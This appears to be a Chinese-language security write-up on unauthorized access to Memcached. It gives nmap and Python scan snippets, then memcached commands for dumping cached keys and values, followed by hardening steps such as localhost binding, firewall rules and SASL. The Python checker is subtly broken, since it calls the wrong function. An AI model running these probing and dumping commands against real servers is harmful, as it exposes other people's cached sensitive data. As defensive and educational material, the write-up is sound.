# Memcache未授权访问
### 一、漏洞简介
memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问。
### 二、影响范围
### 三、复现过程
1.扫描探测
“`bash
nmap -sV -p 11211 –script memcached-info 0.0.0.0
“`
![](/static/lingzu/images/15891217574774.png)
“`python
##! /usr/bin/env python
## _*_ coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“stats\r\n”)
result = s.recv(1024)
if “STAT version” in result:
print ‘[+] Memcache Unauthorized: ‘ +ip+’:’+str(port)
except Exception, e:
pass
if __name__ == ‘__main__’:
Elasticsearch_check(“127.0.0.1″)
“`
**2.攻击利用**
2.1 基础部分
通过一个cheat sheet了解一下Memcached的协议。Memcached的语法由如下元素组成
*{COMMAND}0x20{ARGUMENT}(LF|CRLF)*
command字段有如下几条命令
* 存储操作(set, add, replace, append, prepend, cas)
* 检索操作 (get, gets)
* 删除操作 (delete)
* 增减操作 (incr, decr)
* touch
* slabs reassign
* slabs automove
* lru_crawler
* 统计操作(stats items, slabs, cachedump)
* 其他操作 (version, flush_all, quit)
![-w496](/static/lingzu/images/15891217969632.jpg)
version | 打印Memcached版本 | version
“`bash
stats //查看memcache 服务状态
stats items //查看所有items
stats cachedump 32 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
“`
2.2 建立连接并获取信息
`telnet 11211`,或` nc -vv 11211`,无需用户名密码,可以直接连接memcache 服务的11211端口。
![](/static/lingzu/images/15891218202794.png)
附赠大佬写的文章 [Discuz!因Memcached未授权访问导致的RCE](https://xz.aliyun.com/t/2018)
**3.防范措施**
1.限制访问
如果memcache没有对外访问的必要,可在memcached启动的时候指定绑定的ip地址为 127.0.0.1。其中 -l 参数指定为本机地址。例如:
“`
memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
“`
或者 vim /etc/sysconfig/memcached,修改配置文件
`OPTIONS=”-l 127.0.0.1″,只能本机访问,不对公网开放,保存退出 /etc/init.d/memcached reload`
2.防火墙
“`bash
// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 –dport 11211 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 –dport 11211 -j ACCEPT
// drop
## iptables -I INPUT -p tcp –dport 11211 -j DROP
## iptables -I INPUT -p udp –dport 11211 -j DROP
// 保存规则并重启 iptables
## service iptables save
## service iptables restart
“`
3.使用最小化权限账号运行Memcached服务
使用普通权限账号运行,指定Memcached用户。
“`bash
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
“`
4.启用认证功能
Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。SASL认证详细配置手册
5.修改默认端口
修改默认11211监听端口为11222端口。在Linux环境中运行以下命令:
“`bash
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
“`
6.定期升级
**参考:**
http://lzone.de/cheat-sheet/memcached
https://www.secpulse.com/archives/49659.html
https://www.sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/
https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
http://niiconsulting.com/checkmate/2013/05/memcache-exploit/
https://xz.aliyun.com/t/2018
http://drops.xmd5.com/static/drops/web-8987.html
https://blog.csdn.net/microzone/article/details/79262549
请登录后查看评论内容